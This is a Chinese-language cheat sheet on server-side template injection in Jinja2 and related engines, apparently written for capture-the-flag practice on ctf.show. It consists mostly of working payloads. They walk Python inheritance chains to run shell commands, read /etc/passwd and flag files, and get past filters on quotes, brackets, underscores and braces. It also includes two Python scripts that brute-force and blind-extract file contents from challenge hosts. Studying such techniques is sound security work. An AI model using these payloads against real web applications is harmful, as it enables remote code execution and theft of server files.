漏洞原理
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
类型识别
根据返回的结果判断类型
Twig: {{7*'7'}} 结果49
jinja2: {{7*'7'}} 结果为7777777
smarty7:{*comment*}7 为77
利用方式
简要概括
分隔符
{{}}:直接输出表达式的内容,{{7*7}}会输出49
{%%}:用于执行一些控制或者一些条件循环语句
{##}:用于注释模板文件的内容,其中包含的内容不会在页面输出
基本流程
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:
获取某个类 -> 获取到类的基类:Object -> 获取其所有子类 -> 通过获取__globals__来获取os,file或其他能执行命令or读取文件的moudle
在SSTi中常用到的属性
__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :用于获取当前对象所对应的类
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组;
__mro__ :返回一个类所继承的所有类,也是以元组形式
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法,所有类都具有__init__方法,便于利用他来作为跳板访问__globals__
__globals__ :function.__globals__,对用于获取function锁处于空间下可使用的module、方法以及所有变量;函数会以字典类型返回当前位置的全部全局变量,与func_globals等价
__builtin__&&__builtins__ :用于获取Python内置的方法,比如ord,chr等;
python中可以直接运行一些函数,例如int(),list()等等。
这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)。
在py3中__builtin__被换成了builtin
1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。
2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
__import__ :导入模块
__getitem__ :提取元素
获取对象类
//获取对象类
''.__class__
:<class 'str'>
().__class__
:<class 'tuple'>
[].__class__
:<class 'list'>
"".__class__
:<class 'str'>
{}.__class__ :<class 'dict'>
获取基类
//基类
{{''.__class__.__base__}} 类型对象的直接基类
{{''.__class__.__bases__}}类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类
返回子类
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()
从返回的子类中找到可以利用的类
__init__ :方法用于将对象实例化,
__globals__ :获取function所处空间下可使用的module、方法以及所有变量。
__import__ :动态加载类和函数,也就是导入模块,经常用于导入os模块
一些利用语句
# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__
<type 'str'>
# 获得其父类
>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>
# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>
# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>
# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>
# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh
利用
第一种 os执行
os模块提供了非常丰富的方法用来处理文件和目录,列入popen,system都可以执行命令
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
注意:__ subclasses __()[75]中的[75]是子类的位置,由于环境的不同类的位置也不同
第二种 builtins代码执行
内建函数中eval open等等可以命令执行
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
第三种 Python中的subprocess.Popen()使用
{{().__class__.__bases__[0].__subclasses__()[258](%27ls%27,shell=True,stdout=-1).communicate()[0]}}
循环语句
当不确定调用方法的位置时可以跑循环并利用
os
利用os执行命令:利用for循环找到,os._wrap_close类
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}
__builthins__
利用builthins执行命令:利用for循环找到,os.catch_warnings类
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
常用绕过
过滤单引号
get传参方式绕过
?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
字符串拼接绕过
(config.__str__()[2])
(config.__str__()[42])
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}
通过chr拼接
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
通过过滤器拼接
(()|select|string)[24]
过滤中括号[]
方法一:
# values 没有被过滤
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
方法二:cookie传参
# cookie 可以使用
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
方法三:字符串拼接
中括号可以拿点绕过,拿__getitem__等绕过都可以
通过__getitem__()构造任意字符
?name={{config.__str__().__getitem__(22)}} # 就是22
Python脚本
# anthor:秀儿
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
过滤下划线
传参绕过检测
vaules 版
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
因为后端只检测name传参的部分,所以其他部分就可以传入任意字符,和rce绕过一样
cookie 版本
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag
过滤 os
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
过滤{{
方法一:{% 绕过
只过滤了两个左括号,没有过滤{%
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
方法二:{% %} 盲注
open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了
# anthor:秀儿
import requests
url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{
{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
{% if a==request.values.d %}}feng{
{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
注意name哪里用了 {{ 和 }} , 这是因为脚本用的format格式化字符串,用{}来占位,如果里面本来就有 { 和 } 的话,就需要用 {{ 和 }} 来代替 { 和 }
常规逃逸
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}
# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}
# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}
# <class 'click.utils.LazyFile'>
## 命令执行
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
## 读文件
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}
# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}